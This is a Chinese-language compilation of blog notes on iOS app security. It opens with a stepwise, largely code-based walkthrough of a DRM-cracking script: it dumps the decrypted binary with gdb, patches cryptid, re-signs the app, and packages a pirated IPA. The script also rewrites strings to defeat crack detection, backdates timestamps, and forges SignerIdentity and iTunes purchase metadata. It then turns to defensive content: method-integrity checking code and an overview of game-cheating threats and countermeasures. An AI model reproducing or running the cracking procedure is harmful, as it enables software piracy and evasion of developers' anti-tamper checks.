    CryptID=$(otool -l "$WorkDir/$AppName/$AppExecCur" | grep cryptid | awk '{print $2}')

    if [ $CryptID != "1" ]; then

        echo "Application is not encrypted"

        rm -fr "$WorkDir"

        exit 1

    fi


    CryptSize=$(otool -l "$WorkDir/$AppName/$AppExecCur" | grep cryptsize | awk '{print $2}')

    if [ ! $CryptSize ]; then

        echo "Unable to find CryptSize"

        rm -fr "$WorkDir"

        exit 1

    fi


    CryptOff=$(otool -l "$WorkDir/$AppName/$AppExecCur" | grep cryptoff | awk '{print $2}')

    if [ ! $CryptOff ]; then

        echo "Unable to find CryptOff"

        rm -fr "$WorkDir"

        exit 1

    fi

cryptid为加密状态,0表示未加密,1表示解密;

cryptoffset未加密部分的偏移量,单位bytes

cryptsize加密段的大小,单位bytes


第四步:将armv6部分IWantYourSix的cryptID修改为0

方法一:

  dd bs=4096 count=1 if="$WorkDir/$AppName/$AppExecCur" 2> /dev/null | \

    od -A n -t x1 -v | \
    tr -d ' ','\n' | \
    sed "s/0000002100000014......................01.*/ThisIsItThisIsItThisIsItThisIsItHere!!/g" > "$WorkDir/hex.tmp"
    foo=$(echo -ne "\x00" | dd bs=1 seek=$(expr $(($(stat -c%s "$WorkDir/hex.tmp"))) / 2) conv=notrunc status=noxfer of="$WorkDir/$AppName/$AppExecCur" 2>&1> /dev/null)
    rm -f "$WorkDir/hex.tmp"


方法二:

也可以直接使用十六进制编辑器例如mac上的0xED打开mach-O文件,搜索2100000014000000,一般会找到2处,如果从21开始第17个字节处为01,则将其改成00


第五步:使用gdb将解密部分导出

方法一:

  # Creating GDB script

    echo -e "set sharedlibrary load-rules \".*\" \".*\" none\r\n\

    set inferior-auto-start-dyld off\r\n\

    set sharedlibrary preload-libraries off\r\n\

    set sharedlibrary load-dyld-symbols off\r\n\

    handle all nostop\r\n\

    rb doModInitFunctions\r\n

    command 1\r\n\

    dump memory $WorkDir/dump.bin 0x2000 $(($CryptSize + 0x2000))\r\n\

    kill\r\n\

    quit\r\n\

    end\r\n\

    start" > $WorkDir/batch.gdb


    # Cracking the previously swapped fat binary in WorkDir

#注意:要在arm 7的设备上运行arm 6部分,需要swap header处理后的mach-o文件

(If first part (arm6) of a fat binary and running an arm7 iDevice, swap trick)

         foo=$(gdb -q -e "$WorkDir/$AppName/$AppExec" -x $WorkDir/batch.gdb -batch > /dev/null 2>&1> /dev/null)


方法二:

danimato-iPod:/private/var/mobile/Applications/CF3BBE01-40FB-48D2-BF6C-FF6D04916E6A/name.app root# gdb -q -e AppName

Reading symbols for shared libraries .. done

(gdb) set sharedlibrary load-rules .* .* none    

(gdb) set inferior-auto-start-dyld off

(gdb) set sharedlibrary preload-libraries off

(gdb) rb doModInitFunctions                

Breakpoint 1 at 0x2fe0cece

<function, no debug info> __dyld__ZN16ImageLoaderMachO18doModInitFunctionsERKN11ImageLoader11LinkContextE;

(gdb) r

Starting program: /private/var/mobile/Applications/CF3BBE01-40FB-48D2-BF6C-FF6D04916E6A/Mole's World.app/Mole's World


Breakpoint 1, 0x2fe0cece in __dyld__ZN16ImageLoaderMachO18doModInitFunctionsERKN11ImageLoader11LinkContextE ()


(gdb) x /10i 0x3390   查看是否解密成功 (0x3390为程序加载地址,可以通过otool工具查看加载地址)

0x3af8:  00 00 9d e5                   ldr r0, [sp]

0x3afc:  04 10 8d e2                   add r1, sp, #4 ; 0x4

0x3b00:  01 40 80 e2                   add r4, r0, #1 ; 0x1

0x3b04:  04 21 81 e0                   add r2, r1, r4, lsl #2

0x3b08:  07 d0 cd e3                   bic sp, sp, #7 ; 0x7

0x3b0c:  02 30 a0 e1                   mov r3, r2

0x3b10:  04 40 93 e4                   ldr r4, [r3], #4

0x3b14:  00 00 54 e3                   cmp r4, #0 ; 0x0

0x3b18:  fc ff ff 1a                   bne 0x3b10

0x3b1c:  18 c0 9f e5                   ldr r12, [pc, #24] ; 0x3b3c


(gdb) dump memory AppNamearmv6.bin 0x2000 0x2000+cryptsize 导出解密部分



加载地址(__text __TEXT 专门存放executable machine code

        

 DANI-LEE-2:name.app$ otool -l appname | grep -i "sectname __text" -A 11 -B 1

Section

  sectname __text

   segname __TEXT

      addr 0x00003390

      size 0x00438b24

    offset 11000

     align 2^3 (8)

    reloff 0

    nreloc 0

     flags 0x80000400

reserved1 0

reserved2 0

Section


注意:实际上只有这一步必须在iOS设备上运行,gdb调试时,由于设备可用内存小常常导致中断,所以调试时,最好关闭其他程序


第六步:用第四步中的解密部分替换IWantYourSix加密部分

foo=$(dd seek=1 count=1 obs=4096 ibs=$DumpSize conv=notrunc if="$WorkDir/dump.bin" of="$WorkDir/$AppName/$AppExecCur" 2>&1> /dev/null)

第七步:lamerpatcher处理(不一定管用,主要是为了绕过常规的破解检测,常规破解检测一般根据破解前后文件系统的变化作为特征来定位,lamperpatcher做的就是将这些特征字符串替换掉)(不是必须的步骤)

            if [ $ PCMlamerpatcher = "YES" ]; then
        # MinOs check and Signer check: Lite or Full ?
        if [  ${MinOS:0:1} -gt 2 -o $PCMsigner != "YES" ]; then
            echo -n "${Meter58}Trying  LamerPatcherLite... "
            sed --in-place=.BCK \
                -e 's=/Cydia\.app=/Czdjb\.bpp=g' \
                -e 's=/private/var/lib/apt=/prjvbtf/vbr/ljb/bpt=g' \
                -e 's=/Applicat\d0\d0\d0ions/dele\d0\d0\d0teme\.txt=/Bppljcbt\d0\d0\d0jpns/dflf\d0\d0\d0tfmf\.txt=g' \
                -e 's=/Appl\d0\d0\d0ications/C\d0\d0ydi\d0a\.app=/Bppl\d0\d0\d0jcbtjpns/C\d0\d0zdj\d0b\.bpp=g' \
                -e 's=ations/Cy\d0\d0\d0/Applic\d0pp\d0\d0dia.a=btjpns/Cz\d0\d0\d0/Bppljc\d0pp\d0\d0djb.b=g' \
                -e 's=ate/va\d0\d0/priv\d0\d0\d0pt/\d0b/a\d0r/li=btf/vb\d0\d0/prjv\d0\d0\d0pt/\d0b/b\d0r/lj=g' \
                -e 's=pinchmedia\.com=pjnchmfdjb\.cpm=g' \
                -e 's=admob\.com=bdmpb\.cpm=g' \
                -e 's=doubleclick\.net=dpvblfcljck\.nft=g' \
                -e 's=googlesyndication\.com=gppglfszndjcbtjpn\.cpm=g' \
                -e 's=flurry\.com=flvrrz\.cpm=g' \
                -e 's=qwapi\.com=qwbpj\.cpm=g' \
                -e 's=mobclix\.com=mpbcljx\.cpm=g' \
                -e 's=https://ad\.=https://bd/=g' \
                -e 's=https://ads\.=https://bds/=g' \
                -e 's=https://ads2\.=https://bds2/=g' \
                -e 's=adwhirl\.com=bdwhjrl\.cpm=g' \
                -e 's=vdopia\.com=vdppjb\.cpm=g' \
                "$WorkDir/$AppName/$AppExecCur"

            #    "/Applications/Icy\.app"
            #    "/Applications/SBSettings\.app"
            #    "/Library/MobileSubstrate"
        else
            echo -n "${Meter58}Trying  LamerPatcherFull... "
            sed --in-place=.BCK \
                -e 's=SignerIdentity=SjgnfrJdfntjtz=g' \
                -e 's=Jdfnuiuy=Kdgnujuz=g' \
                -e 's=S\d0\d0\d0h\d0\d0\d0g\d0\d0\d0f\d0\d0\d0e=S\d0\d0\d0i\d0\d0\d0g\d0\d0\d0f\d0\d0\d0f=g' \
                -e 's=S\d0\d0\d0i\d0\d0\d0g\d0\d0\d0n\d0\d0\d0e\d0\d0\d0r=S\d0\d0\d0j\d0\d0\d0g\d0\d0\d0n\d0\d0\d0f\d0\d0\d0r=g' \
                -e 's=PfdkboFabkqfqv=PgdkcoGackqgqw=g' \
                -e 's=Sign\d0\d0\d0\d0erId\d0\d0\d0\d0entity=Sjgn\d0\d0\d0\d0frJd\d0\d0\d0\d0fntjtz=g' \
                -e 's=S\d0\d0\d0g\d0\d0\d0n\d0\d0\d0e\d0\d0\d0r=S\d0\d0\d0h\d0\d0\d0o\d0\d0\d0f\d0\d0\d0r=g' \
                -e 's=/Cydia\.app=/Czdjb\.bpp=g' \
                -e 's=/private/var/lib/apt=/prjvbtf/vbr/ljb/bpt=g' \
                -e 's=/Applicat\d0\d0\d0ions/dele\d0\d0\d0teme\.txt=/Bppljcbt\d0\d0\d0jpns/dflf\d0\d0\d0tfmf\.txt=g' \
                -e 's=/Appl\d0\d0\d0ications/C\d0\d0ydi\d0a\.app=/Bppl\d0\d0\d0jcbtjpns/C\d0\d0zdj\d0b\.bpp=g' \
                -e 's=ations/Cy\d0\d0\d0/Applic\d0pp\d0\d0dia.a=btjpns/Cz\d0\d0\d0/Bppljc\d0pp\d0\d0djb.b=g' \
                -e 's=ate/va\d0\d0/priv\d0\d0\d0pt/\d0b/a\d0r/li=btf/vb\d0\d0/prjv\d0\d0\d0pt/\d0b/b\d0r/lj=g' \
                -e 's=pinchmedia\.com=pjnchmfdjb\.cpm=g' \
                -e 's=admob\.com=bdmpb\.cpm=g' \
                -e 's=doubleclick\.net=dpvblfcljck\.nft=g' \
                -e 's=googlesyndication\.com=gppglfszndjcbtjpn\.cpm=g' \
                -e 's=flurry\.com=flvrrz\.cpm=g' \
                -e 's=qwapi\.com=qwbpj\.cpm=g' \
                -e 's=mobclix\.com=mpbcljx\.cpm=g' \
                -e 's=https://ad\.=https://bd/=g' \
                -e 's=https://ads\.=https://bds/=g' \
                -e 's=https://ads2\.=https://bds2/=g' \
                -e 's=adwhirl\.com=bdwhjrl\.cpm=g' \
                -e 's=vdopia\.com=vdppjb\.cpm=g' \
                "$WorkDir/$AppName/$AppExecCur"

            #    "/Applications/Icy\.app"
            #    "/Applications/SBSettings\.app"
            #    "/Library/MobileSubstrate"
            #    "%si %sg %sn %se %sr %sI %sd %st %sy"
            #    "Sig nerId%@%@     ent ity "
            #    "Si  gne rIde    ntity"
        fi

        cmp --silent "$WorkDir/$AppName/$AppExecCur.BCK" "$WorkDir/$AppName/$AppExecCur"
        if [ "$?" != "0" ]; then
            echo "${Meter59}patched something"
            Patched="$Patched patched"
            if [ $PCMkeepunpatched != "YES" ]; then
                rm "$WorkDir/$AppName/$AppExecCur.BCK"
            fi
        else
            echo "${Meter59}found nothing"
            rm "$WorkDir/$AppName/$AppExecCur.BCK"
        fi

    fi

第八步:签名IWantYourSix

        

foo=$(ldid -s "$WorkDir/$AppName/$AppExecCur" 2>&1> /dev/null

第九步:armv7部分SevenTrumpets的cryptID修改为0(同第四步)

第十步:使用gdb将解密部分导出(同第五步)

   # Cracking genuine executable in AppPath

#注意:对于fat binary,arm 7的设备上是默认按arm 7运行,所以需要使用没有经过swap header处理的原始mach-o文件         foo=$(gdb -q -e "$AppPath/$AppName/$AppExec" -x $WorkDir/batch.gdb -batch > /dev/null 2>&1> /dev/null)


第十一步:用第九步中的解密部分替换SevenTrumpets加密部分(同第六步)

第十二步:使用lamerpatcher处理(不是必须的步骤)(同第七步)

第十三步:签名SevenTrumpets(同第八步)

第十四步:合并IWantYourSix和SevenTrumpets

if [ $LipoFail ]; then
    rm -f "$WorkDir/$AppName/$AppExec"
    echo "${Meter61}---"
    if [ -e "$WorkDir/$AppName/SevenTrumpets" ]; then
        echo "${Meter62}Combining both parts into a fat binary"
        lipo -create "$WorkDir/$AppName/IWantYourSix" "$WorkDir/$AppName/SevenTrumpets" -output "$WorkDir/$AppName/$AppExec"
        chmod 777 "$WorkDir/$AppName/$AppExec"

        if [ $PCMkeepunpatched != "YES" ]; then
            rm "$WorkDir/$AppName/IWantYourSix"
            rm "$WorkDir/$AppName/SevenTrumpets"
        fi
    else
        mv "$WorkDir/$AppName/IWantYourSix" "$WorkDir/$AppName/$AppExec"
        chmod 777 "$WorkDir/$AppName/$AppExec"
    fi
fi


第十五步:伪造可执行文件的时间戳,以应付破解检测(不是必须的步骤)

touch -r "$AppPath/$AppName/$AppExec" "$WorkDir/$AppName/$AppExec"

第十六步:根据MinOS版本(plutil -key MinimumOSVersion "Info.plist"),伪造SignerIdentity,目前主流是3.0版本,不需要伪造(不是必须的步骤)

echo -n "${Meter63}MinOS is '$MinOS': "
if [ ${MinOS:0:1} -gt 2 ]; then
    echo "${Meter64}no SignerIdentity needed"
else
    if [ $PCMsigner = "YES" ]; then
        echo "${Meter64}adding SignerIdentity"
        cp -a "$WorkDir/$AppName/Info.plist" "$WorkDir/$AppName/Info.backup.plist"
        plutil -key 'SignerIdentity' -value 'Apple iPhone OS Application Signing' "$WorkDir/$AppName/Info.plist" 2>&1> /dev/null
        plutil -binary "$WorkDir/$AppName/Info.plist" 2>&1> /dev/null
        # Timestamp-back Info.plist to defeat checks
        touch -r "$AppPath/$AppName/Info.plist" "$WorkDir/$AppName/Info.plist"
    else
        echo "${Meter64}but no SignerIdentity !"
    fi
fi

第十七步:伪造iTunesMetadata.plist(不是必须的步骤)

                

        

cp "$AppPath/iTunesMetadata.plist" "$WorkDir/iTunesMetadataSource.plist"

plutil -xml "$WorkDir/iTunesMetadataSource.plist" 2>&1> /dev/null

echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" > "$WorkDir/iTunesMetadata.plist"

echo "<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"https://www.apple.com/DTDs/PropertyList-1.0.dtd\">" >> "$WorkDir/iTunesMetadata.plist"

echo "<plist version=\"1.0\">" >> "$WorkDir/iTunesMetadata.plist"

echo "<dict>" >> "$WorkDir/iTunesMetadata.plist"

echo -e "\t<key>appleId</key>" >> "$WorkDir/iTunesMetadata.plist"

echo -e "\t<string>ChatMauve@apple.com</string>" >> "$WorkDir/iTunesMetadata.plist"

echo -e "\t<key>purchaseDate</key>" >> "$WorkDir/iTunesMetadata.plist"

echo -e "\t<date>2010-08-08T08:08:08Z</date>" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>artistId</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>artistName</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>buy-only</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>buyParams</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>copyright</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>drmVersionNumber</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>fileExtension</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 -m1 "<key>genre</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 -m1 "<key>genreId</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>itemId</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>itemName</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>kind</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>playlistArtistName</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>playlistName</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>price</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>priceDisplay</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A99 "<key>rating</key>" "$WorkDir/iTunesMetadataSource.plist" | grep -m1 -B99 "</dict>" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>releaseDate</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>s</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>softwareIcon57x57URL</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>softwareIconNeedsShine</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A99 "<key>softwareSupportedDeviceIds</key>" "$WorkDir/iTunesMetadataSource.plist" | grep -m1 -B99 "</array>" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>softwareVersionBundleId</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>softwareVersionExternalIdentifier</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A99 "<key>softwareVersionExternalIdentifiers</key>" "$WorkDir/iTunesMetadataSource.plist" | grep -m1 -B99 "</array>" >> "$WorkDir/iTunesMetadata.plist"

grep -A99 "<key>subgenres</key>" "$WorkDir/iTunesMetadataSource.plist" | grep -m1 -B99 "</array>" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>vendorId</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

grep -A1 "<key>versionRestrictions</key>" "$WorkDir/iTunesMetadataSource.plist" >> "$WorkDir/iTunesMetadata.plist"

echo "</dict>" >> "$WorkDir/iTunesMetadata.plist"

echo -e "</plist>\n" >> "$WorkDir/iTunesMetadata.plist"

# Timestamp Metadata to protect cracker

touch -r "$AppPath/$AppName/Info.plist" "$WorkDir/iTunesMetadata.plist"

第十八步:打包成ipa安装包

        

zip -y -r "$IPAName" Payload/* -x Payload/iTunesArtwork Payload/iTunesMetadata.plist "Payload/Documents/*" "Payload/Library/*" "Payload/tmp/*" "Payload/$AppName/$AppExec" "Payload/$AppName/Info.plist" "Payload/$AppName/SC_Info/*" "Payload/$AppName/_CodeSignature/*" "Payload/$AppName/CodeResources" "Payload/$AppName/ResourceRules.plist" 2>&1> /dev/null



整个过程,除去前期检测必要工具是否存在(例如ldid,plutil,otool),伪造特征文件,可以总结为以下几步:

第一步. 将fat binary切分为armv6,armv7部分(采用swap header技巧)

第二步:获得cryptid,cryptsize,cryptsize

第三步. 将armv6部分的cryptid修改为0,gdb导出对应的armv6解密部分(对经过swap header处理的Mach-O文件进行操作,使得在arm 7设备上,强制运行arm 6部分),替换掉armv6加密部分,签名

第四步. 将armv7部分的cryptid修改为0,gdb导出对应的armv7解密部分(对原Mach-O文件进行操作),替换掉armv7加密部分,签名

第五步.合并解密过的armv6,armv7

第六步.打包成ipa安装包


注明:第三步和第四步是破解的关键,破解是否成功的关键在于导出的解密部分是否正确完整。

由于binary fat格式的mach-o文件在arm 7设备上默认运行arm 7对应代码,当需要导出arm 6对应的解密部分时,要先经过swap header处理,使其在arm 7 设备上按arm 6运行。

来源:碳基体

objective-c runtime安全措施之二:反注入

O'Reilly.Hacking.and.Securing.iOS.Applications>>读书笔记

反注入:在类函数被调用前做完整性检测(预防应用自定义函数或apple标准库函数被修改或替换)

  

原理:调用dladdr()函数检查类方法的基本信息是否合法

  

例子1:检查Foundation框架类中NSMutableURLRequest基类(用于改变URL请求)的setHTTPBody方法的基本信息

  

#include <dlfcn.h>

#include <objc/objc.h>

#include <objc/runtime.h>

#include <stdio.h>

#include <string.h>

int main() {

Dl_info info;

  

IMP imp = class_getMethodImplementation(

objc_getClass("NSMutableURLRequest"),

sel_registerName("setHTTPBody:"));

printf("pointer %p\n", imp);

if (dladdr(imp, &info)) {

printf("dli_fname: %s\n", info.dli_fname);

printf("dli_sname: %s\n", info.dli_sname);

printf("dli_fbase: %p\n", info.dli_fbase);

printf("dli_saddr: %p\n", info.dli_saddr);

} else {

printf("error: can't find that symbol.\n");

}

}

在Mac OS上使用gcc编译

$ gcc -o main main.m -lobjc -framework Foundation

然后运行该程序和观察输出,这些信息(地址空间、文件名、符号名)可以确认该函数来源、是否合法

$ ./main

  

pointer 0x7fff8e7aba62

  

dli_fname: /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation

  

dli_sname: -[NSMutableURLRequest(NSMutableHTTPURLRequest) setHTTPBody:]

  

dli_fbase: 0x7fff8e633000

  

dli_saddr: 0x7fff8e7aba62

  

例子2:使用dladdr函数检查类中的所有方法的通用代码

  

#include <dlfcn.h>

#include <stdio.h>

#include <objc/objc.h>

#include <objc/runtime.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

static inline BOOL validate_methods(const char *, const char *)

__attribute__((always_inline));

BOOL validate_methods(const char *cls, const char *fname) {

Class aClass = objc_getClass(cls);

Method *methods;

unsigned int nMethods;

Dl_info info;

IMP imp;

char buf[128];

Method m;

if (!aClass)

return NO;

methods = class_copyMethodList(aClass, &nMethods);

while(nMethods--) {

m = methods[nMethods];

printf("validating [ %s %s ]\n",

(const char *) class_getName(aClass),

(const char *) method_getName(m));

imp = method_getImplementation(m);

if (!imp) {

printf("error: method_getImplementation(%s) failed\n",

(const char *) method_getName(m));

free(methods);

return NO;

}

if (! dladdr(imp, &info)) {

printf("error: dladdr() failed for %s\n",

(const char *)method_getName(m));

free(methods);

return NO;

}

/* Validate image path */

  

if (strcmp(info.dli_fname, fname))

goto FAIL;

/* Validate class name in symbol */

  

snprintf(buf, sizeof(buf), "[%s ",

(const char *) class_getName(aClass));

if (strncmp(info.dli_sname+1, buf, strlen(buf)))

{

snprintf(buf, sizeof(buf), "[%s(",

(const char *) class_getName(aClass));

if (strncmp(info.dli_sname+1, buf, strlen(buf)))

goto FAIL;

}

/* Validate selector in symbol */

  

snprintf(buf, sizeof(buf), " %s]",

(const char *) method_getName(m));

if (strncmp(info.dli_sname + (strlen(info.dli_sname) - strlen(buf)),

buf, strlen(buf)))

{

goto FAIL;

}

}

return YES;

FAIL:

printf("method %s failed integrity test:\n",

(const char *)method_getName(m));

printf(" dli_fname: %s\n", info.dli_fname);

printf(" dli_sname: %s\n", info.dli_sname);

printf(" dli_fbase: %p\n", info.dli_fbase);

printf(" dli_saddr: %p\n", info.dli_saddr);

free(methods);

return NO;

}

【注意】

  

  1. 重命名检查函数(例如不要用validate_methods这样具有明显意义的名字)

  

  1. 在应用的多处加入检查函数,任何与敏感数据交互的方法在执行前都需要检查

  

  1. 例子中的logging和printf语句只是用来调试,代码正式发布前要移除

  

  1. 验证完整性只是提高了攻击的门槛,不能完全防御黑客,需要综合应用多种技巧,例如思路一中的反调试技巧,及马上要介绍的反汇编技巧。


来源:碳基体

iOS平台游戏安全小议

--------------------------------------------------废话部分

去年年会上,公司宣讲自己的发展道路,说要抢占“四屏”,即PC机(个人电脑)、电视机、大屏幕(电影)和智能移动终端(智能手机,iOS平台,Andriod平台),并且特别强调移动平台,原因是拥有上网手机的用户比拥有电脑的人多的多,而且手机上网群体更容易进行支付行为,这一块市场,对儿童类游戏就是蓝海,充满着无线商机。

于是公司快速成立并扩大无线部,并火速推出多款游戏,摩尔庄园,摩尔卡丁车,摩尔宝宝,淘米妈妈(儿童上网行为管理应用),虽然就个人而言,都带着中国特色的山寨风,但其中几款的品质的确不错。

作为一个奋斗在游戏安全第一线的苦逼妹子,我评价游戏是否受欢迎的标准不是下载量,不是在线人数,不是游戏收益,而是游戏是否存在盈利性质的外挂

论坛有作弊攻略了,表示游戏已经初步流行;

论坛需要支付货币才能看攻略,表示游戏拥有很大的用户群;

淘宝上开始贩卖外挂了,表示游戏项目组可以拿到不菲的奖金了(作为支撑部门悲催的我,每次都是十分眼红的瞅着他们领奖)。

而我们,游戏不受欢迎没有年终奖,游戏受欢迎则会不停的被骚扰。

悲催的观察数据包,rtx粘贴一段话,xx总监收到小孩投诉,伏魔塔有人秒杀怀疑使用加速外挂。。。就得屁颠屁颠的去调查。其实就公司内部,都有很多人搞不清楚我们到底是干嘛的,连小孩抱怨运营活动很难中奖都转给我们处理,tnnd。

好了,停止抱怨。

-------------------------------------------------------------------------------------------------------------------------------------------------正文

公司iOS游戏上线,主要面临着这些威胁:

(1)黑卡,比官方卖的便宜非常多倍,淘宝一搜一堆,(普遍,危害大)

(2)IAP破解(IAP是in-apple purpase游戏内购破解),就是使得游戏中的消费操作变得免费,免费玩新关卡,免费获得道具(普遍,危害大)

(3)IPA破解(ipa是游戏安装包的格式),就是破解游戏安装包,不需要收费就可以安装(普遍,危害大)

(4)游戏存档修改,历史悠久的作弊方式,从第一款游戏的诞生,就有人这么干(普遍,危害大)

(5)游戏通信封包劫持篡改(常见,危害大)

(6)游戏进程调试(门槛高,但危害大)

一、黑卡

原理:绝大多是是利用被窃信用卡进行充值,中国区所有iOS应用均受害

防御:走法务处理流程,到淘宝知识产权平台进行申诉处理,强制下架,效果非常明显


二、IAP破解

原理:使用游戏内购破解工具,修改内购返回的交易状态,以欺骗软件购买成功。以著名内购补丁iap craker为例,其实该软件的使用说明已经很清楚的告诉了大家是利用懒惰的程序员没有二次验证保留在苹果服务器上的付费收据

 (红线部分的中文意思是:只要游戏服务器不去验证苹果服务器上的付费收据,就能使你不花钱白拿东西)

其实iOS开发者指导文档中已经很明确的提醒程序猿了,look

(红线部分的中文意思是:当应用依赖于独立的服务器来提供订阅、可下载内容或服务时,必须额外验证保留在苹果服务器上的付费收据)

防御:将用户购买的收据上传到server,由其向App store做二次确认,如果检验失败,则将该用户(该设备)加入黑名单,今后其所有向服务器的请求都将被拒绝。(苹果都让你验证了,做外挂的都提醒了,那就二次验证吧)

 

三、IPA破解

原理:去除掉DRM数字签名验证机制,取消ipa对apple帐号的绑定,允许没有合法签名的程序在设备上运行。

(DRM原理:对所保护的内容建立两把密钥,一把公钥,一把私钥,公钥用来加密,私钥用来解密。。对于一个正版APP来说,APP本身含有公钥,私钥是用于购买APP的账号在电脑授权之后得到的证书,只有公钥和私钥相匹配,软件才能正常安装运行)

去除原理:游戏在正常运行的时候,在内存中是处于一种解密状态,可以利用调试工具gdb把正在内存中运行的软件镜像完全复制下来,保存为文件。另外还要利用软件otool,来查看游戏的一些信息,比如文件头,从何处开始加密,等等。。。。最后把正常的文件头复制的解密镜像文件进行合并,使之能够正常执行,最后还要用ldid做一下签名就成功了。

方法:花钱买正版游戏(要有一份能够正常运行的被正式授的游戏在破解的机器上被执行),用破解工具破解,分发给大家(有点雷峰)

防御很无助呀!求方法!!!!!!!!!!!!!!


四、游戏存档修改(老少皆宜的作弊方法)

原理:逻辑判断完全依赖于客户端的配置文件、数据文件啥的

没什么好解释的了,找到安装程序所在文件夹,可着劲的改,直接在iphone/ipad/itouch上改(ifile真好用),传到PC机上用iFunBox改再同步回去。甚至不会改,也不要紧。只要游戏够火,修改补丁包要多少有多少(当然越火,越要钱)安装后傻瓜式一键操作。

 (水果忍者的修改补丁包)

防御:两个字“加密”,当然破解是迟早的问题(安全措施只是提高门槛而已),关键数据拆分后再加密存放就很能提高作弊门槛。

碎碎念:不是瞎说,真的,很多iOS游戏的存档都是明文的。

见过不少收费软件,收费的判断就依赖于一个明文配置文件是否有收费这一个字段;

见过不少游戏,将用户数据直接用plist(iOS配置文件的格式)格式存储,该格式用plist编辑器就可以查看;还有的只是将配置文件的后缀名改成dat的格式存储(dat文件直接打开是乱码),简直太傻了,然道不知道玩家可以改文件后缀名吗?改为plist不就又明文了吗???


五、游戏通信包劫持篡改

原理:也是老掉牙的网络游戏作弊方法。PC游戏一般都是在本机上修改数据包,而移动设备屏幕太小,操作不方便。于是得想办法使得数据包经过PC机,在PC机上修改。改道的方法也很多啦,使用代理上网,共享PC网络,远程登录。

防御:还是两个字“加密”。无论是哪个平台的游戏,客户端游戏,flash游戏,手机游戏,其实只要是联网的。安全两核心之一就是应用层协议安全(另一个是业务逻辑安全).

协议安全依赖于协议的加密算法,协议结构的混淆(登录包可以做比较复杂的混淆而不太影响性能)。不少公司主要是预防

1. 游戏协议被破解,制作成脱机挂(完全脱离游戏客户端程序,可以与游戏服务器自由通讯的外挂程序)

2. 篡改游戏封包中的重要数值来欺骗服务端(例如篡改封包中对应的游戏货币数值)

3. 嗅探和协议破解工具获得封包中的重要数值


一般公司的防御,简单来说就是:

  1. 对提交给服务器的数据做有效性验证(例如没有购买记录却拥有大量游戏内货币)
  2. 对整个游戏封包计算CRC校验值并附加到序列号加密算法中,对发送序列号异常封包的操作给以掉线措施。




六、游戏进程调试

原理:其实目的也是修改,修改计算逻辑、游戏数据啥的,该方法的难点就是找到游戏修改点。但也有迹可寻。ARM CPU 有个特性便是一些加减计算要传送到CPU寄存器(register) 进行,因此你会经常看到这些要找的数据会先从内存用LDR 指令装载到寄存器, 经过一些计算(加或减)后及防溢位判断后便用STR 指令存储这寄存器回内存。    另外由于这些程式大多是用 Objective C 或 C++ 语言写成,这些程序员会用一些详细的函数名,例如带有 Money, Price, Gold, Exp, Item, Life, Level 等。    利用这两点便可以将程式锁定在某些函数上,再利用 gdb 调试工具暂停在某些点一步一步地单步执行及查看一些寄存器,印证是否与你要找的数据是否有关。

方法

第一步:移动终端安装游戏破解版本(未破解的不能反汇编)

第二步:在pc机上使远程登录到移动终端(移动终端需要开启SSH服务)

Windows可以使用PuTTY远程登录;Mac/Linux直接使用ssh root@x.x.x.x

(越狱机的默认帐号root:alpine,mobile:alpine为了安全,一定要改掉哦)

第三步:采用静态反汇编并配合动态调试并修改源程序。(工具:otool,linker,assembler,gdb)

第四步:修改源程序后重新签名打包生成完整的安装包(工具: Idid)


注:该种方法使用门槛高,一般为专业(或具备破解知识)的外挂制作者使用,生成完整可用的游戏破解包,然后共享或贩卖。


防御:代码混淆,将源码相关的字符,变量函数,等替换成无意义的字符


七、其他

还有一些其他的办法在游戏中作弊,调整时钟,常用于判断逻辑依赖于本地时钟的游戏。比如说游戏中,如果苹果的成长需要1个小时,你只需要将时钟拨快一个小时就好。

